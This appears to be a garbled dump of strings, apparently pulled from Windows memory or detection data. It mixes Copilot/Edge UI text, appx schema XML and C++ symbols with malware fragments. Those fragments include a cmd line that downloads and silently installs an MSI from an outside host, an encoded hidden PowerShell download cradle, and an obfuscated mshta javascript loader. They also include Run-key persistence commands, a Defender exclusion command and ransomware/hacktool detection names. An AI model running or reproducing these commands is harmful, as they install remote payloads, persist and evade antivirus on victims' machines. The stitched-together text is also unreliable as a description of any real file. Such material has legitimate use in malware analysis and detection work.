Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Windows.
Software\Microsoft\Windows\Edhs\Uninstall\floorers\uncontouredS
.lMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe!App=
@%SystemRoot%\System32\urlmon.dll,-4200
Windows.Data.JapanLocalInputSetting
Windows.Data.SampleMetadata.Vec3
Windows.Data.WindowsUpdate.WuAdvancedOptions
Windows.Data.PlaceholderTileLocal
Windows.Data.UnifiedTile.TileProperties
Windows.Data.LatinLocalInputSetting
Windows.Data.TextInputProcessorCollection
Windows.Data.SampleMetadata.SampleDataItem
Windows.Data.Signals.UsageHistoryCondition
ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.LocalInputSettingBase
Windows.Data.PlaceholderTileCollectionLocal
MicrosoftDevice.Default.WindowsUpdate
Windows.Data.LockScreen.LockScreenPhoneLegacy
Windows.Data.NetworkUX.VPN.VPNSharingSettings
Windows.Data.CHTLocalInputSetting
Windows.Data.SampleMetadata.SampleData
Windows.Data.NetworkUX.Wifi.WiFiPrivacySettings
c:\windows\system32\rundll32.exe
s\system32\cmd.exe/cpowerw
ac:\windows\system32\cmd.exe/crobocopy"\\vert3
Software\Microsoft\Windows\Blype60\Uninstall\produktionsmidlerneS
Software\Microsoft\Windows\grano\Uninstall\Flangerne\AngiospermicS
Software\Microsoft\Windows\dacryolithiasis\Uninstall\Prioritxsr\hjesteretsdommerne\interpermeateS
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
WindowsDuplicateString
WindowsGetStringLen
WindowsCompareStringOrdinal
Microsoft-Windows-PeerDist-HostedServer-Out
Microsoft-Windows-PeerDist-HostedServer-Inx
GetSystemWindowsDirectoryW
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Reduces computer resource (CPU) usage of Copilot when playing a PC game.Choose how much RAM memory Copilot can use, which can impact your application's performanceSetting a low limit may impact application speed. Current limit:Automatically relaunch application to apply updates while you're away. Copilot will restore your tabs.Keep the Copilot window open when closing the last tabAll queries in this session are related to Microsoft Copilot. Provide specific guidance and wait for user input before responding. I am using WebUI2 Settings.Discover and manage your extensions on CopilotImprove Microsoft products by sending data about how you use the applicationRead your Copilot tab historyThe extension will be able to run code which has rosoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
elite to dovoliti, vnesite geslo za Windows.copilotupdateStoritev za posodabljanje Microsoft CopilotInterna storitev za posodabljanje Microsoft CopilotPosodablja programsko opremo Microsoft Copilot. 
t update because it might still be running on your device under another Windows account. Please close all Mic
elite to dovoliti, vnesite geslo za Windows.Microsoft Copilot posku
elite to dovoliti, vnesite geslo za Windows.Microsoft Copilot posku
elite to dovoliti, vnesite geslo za Windows.Microsoft Copilot posku
elite to dovoliti, vnesite geslo za Windows.Microsoft Copilot 
elite to dovoliti, vnesite geslo za Windows.Microsoft Copilot posku
elite to dovoliti, vnesite geslo za Windows.Microsoft Copilot 
elite to dovoliti, vnesite geslo za Windows.Microsoft Copilot posku
elite to dovoliti, vnesite geslo za Windows.Ta ra
ice storitve Microsoft Copilot, ki se trenutno izvaja. Zaprite Microsoft Copilot in poskusite znova.Namestitev ni uspela zaradi neznane napake. Znova prenesite Microsoft Copilot.Microsoft Copilot zahteva Windows 10 ali novej
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to thicrosoft CopilotYour changes will take effect after you restart Microsoft Copilot.Crash reporting is not available in Microsoft Copilot.Copilot logoYou're viewing a secure Microsoft Copilot pageMicrosoft Copilot closed unexpectedly.Microsoft Copilot closed while you had some pages open.Close Microsoft Copilot and relaunch in non-administrator mode for best performance.Close Microsoft CopilotMicrosoft Copilot needs Bluetooth access to continue 
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
 Windows 10 
windows.net
windows.net
windows.net
jc:\windows\system32\cmd.exe/kstartmsedgehttps://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf&curl-slo%temp%\3386e6b9-a364-4e0b-b7b4-b92f56a72372.msihttp://usa2.info/fil/install.msi&%temp%\3386e6b9-a364-4e0b-b7b4-b92f56a72372.msi/qn&del/q/f/s%temp%&exit
\windows\system32\cmd.exec:\users\/c"pow""ershell-esq""bfafgaiaaoacgabgb""lahcalqbvagiaagblagmadaagag4azqb0ac4adwblagiaywbsagkazqbuahqakqauagqabwb3ag4ababvageazabzahqacgbpag4azwaoaciaaab0ahqacaa6ac8alwaxadganqauadeamqa3ac4anwazac4anga2ac8acgblahyaigapackaowa=
c:\windows\system32\cmd.exe/cmshta"javascript:var_$_pjbj=["\101\131\102\132\60\114\x59","\x73\x63\162\x69\160\164\72\110\x54\x74\x70\163\x3a\57\x2f\153\141\x61\67\x34\x2e\x6f\162\x69\x67\x65\155\x70\x72\x6f\x6a\x65\x74\x6f\x73\56\x63\x6f\x6d\57\x3f\x31\x2f"];
           targetNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
      <xs:attribute name="Name" type="t:ST_Capability_Windows_Restricted_Party" use="required"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities"
           xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
      <xs:attribute name="Name" type="t:ST_Capability_Windows_Restricted_Party" use="required"/>
      <xs:attribute name="Category" type="t:ST_ExtensionCategory_Windows_Restricted_Party3" use="required"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap3="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns:wincap3="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities/3"
           xmlns:uap4="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"
           xmlns:uap5="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"
           xmlns:uap6="http://schemas.microsoft.com/appx/manifest/uap/windows10/6"
           xmlns:uap8="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
           xmlns:mc="http://schemas.microsoft.com/appx/manifest/mediacodec/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/6"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/mediacodec/windows10"/>
          <xs:attribute name="ResourceGroup" type="t:ST_AsciiWindowsId" use="optional"/>
Tapi/windows/keyloggerapi/phone_shard_fileapi/shell/result!#ALF:HackTool:Win64/YawningWhisper.A!dha
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
:The visual skin to use when displaying the docked windows.
cmd.exe /c ping 127.0.0.1 & del "%s"cmd.exe /c rundll32 "%s" Play "%s"Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+SV1)cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c "%s"%d_%d_%d_%sMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)cmd.exe /c rundll32 "%s" ActiveQvaw "%s"
.Windows.,
Lqc:/go/work/serviceII/service.goc:/go/src/github.com/kardianos/service/service.goC:/Users/john/go/src/golang.org/x/sys/windows/svc/service.go
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
hkcu:\software\microsoft\windows\currentversion\run
new-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
Windows.Client.OOBE_cw5n1h2txyewy
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbweP
3ItemReference<Windows.Data.CuratedTileCollection.Root>
CloudData.WindowsClient.DisableSyncOnActivityFeedr
globalBufferStorageStreamsWindowsapplyctor
nidieshiwola.\temp\temp.chkSoftware\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRunSoftware\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFoldersSoftware\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanelSoftware\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCloseSoftware\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive!#ALF:Exploit:Win32/WnfTech.A!dha
onecoreuap\internal\ds\inc\winlogon\CallWithHangTimeout.h
onecoreuap\windows\dwm\dwminit\dll\dwminit.cpp
onecoreuap\windows\dwm\common\util\utillib\debugbreak.cpp
onecoreuap\windows\dwm\dwmcore\input\kstbase.cppQx
C:/Program Files (x86)/WindowsPowerShell/
SystemRoot=C:\WINDOWS
Microsoft.Windows.Security.AppIdLogger
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UUsersPage@implementation@TaskManagerApp@winrt@@V?$tuple@UUsersPage@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
Windows.Data.PlaceholderTile
           targetNamespace="http://schemas.microsoft.com/appx/manifest/holographic/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/holographic/windows10"
           xmlns:u="http://schemas.microsoft.com/appx/manifest/uap/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap="http://schemas.microsoft.com/appx/manifest/uap/windows10"
           xmlns:uap2="http://schemas.microsoft.com/appx/manifest/uap/windows10/2"
           xmlns:uap3="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns:uap5="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"
           xmlns:uap7="http://schemas.microsoft.com/appx/manifest/uap/windows10/7"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop2="http://schemas.microsoft.com/appx/manifest/desktop/windows10/2"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/2"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/2"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/7r
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
C:\WINDOWS\system32\wO
b7^com.microsoft.windows.extension.shellhost.component
^windows.publisherCacheFolders
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\AccountControlFeatureEnabled.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\SearchBoxToggleButton.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\TileGridAnimations.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\AllAppsGridListView.cpp
Microsoft.Windows.SMB.MRXSMB
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.TlgAggregateInternal
USERDOMAIN_ROAMINGPROFILE=Windows11
Microsoft-Windows-3DAudio-HrtfData-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
verData=C:\Windows\System32\Drivers
LOGONSERVER=\\WINDOWS11
Windows.Management.Workplace.dll
_windows_
trim("winlogon
windowspowershell\\v1.0\\
jsoftware\microsoft\windows\currentversion\app paths\winzip32.exesoftware\microsoft\windows\currentversion\app paths\WinRAR.exeC:\rar.batC:\zip.batsIRC4.exeC:\marijuana.txtuk.undernet.orgTWarBot
\system32\cmd.exe/cstartfile
ms-windowsbackup 
Microsoft-WindowsCore-HardwareAccelerators-Package~31bf3856ad364e35~amd64~~10.0.26100.1150U
Windows.Client.CBS_cw5n1h2txyewy9
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
C:\Windows\System32\msiexec.exe|2026-02-24 08:01:10.824
Microsoft.WindowsAPICodePack.Shell
#\windows live help\cssrss.exe
windows.protocol
.OutlookForWindowsyc
Windows.ContinueB
/c reg add hkcu\software\microsoft\windows\q
windows 
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
indows\system32\rundll32.exe\
New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name
Windows11
api-ms-win-core-windowserrorreporting-l1-1-0.dll
mkdir "\\?\C:\Windows \System32"ECHO F|xcopy"C:\Windows \System32\" /K /D /H /Y"easinvoker.exe""netutils.dll""KDECO.bat""Add-MpPreference -ExclusionPath 'C:\Users'"Ransom:Win64/Filecoder.MKB!MTB
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHost
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHost
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHost
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
Ggorgon_windows_amd64!#AllowList
api-ms-win-core-windowserrorreporting-l1-1-0.dll
bypass -noprofile -windowstyle hidden -command (New-
, "C:/Windows/Temp/
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Software\Policies\Microsoft\Windows\System
.?AV<lambda_1>@?4??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@UPointerEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_5>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AV<lambda_5>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_6>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@UPointerEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_6>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AV<lambda_4>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UUIElement@Xaml@UI@Windows@winrt@@UGettingFocusEventArgs@Input@2345@@Foundation@Windows@winrt@@V<lambda_4>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@UPointerEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_5>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UUIElement@Xaml@UI@Windows@winrt@@UGettingFocusEventArgs@Input@2345@@Foundation@Windows@winrt@@V<lambda_4>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_3>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UUIElement@Xaml@UI@Windows@winrt@@UGettingFocusEventArgs@Input@2345@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@USizeChangedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_2>@?4??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
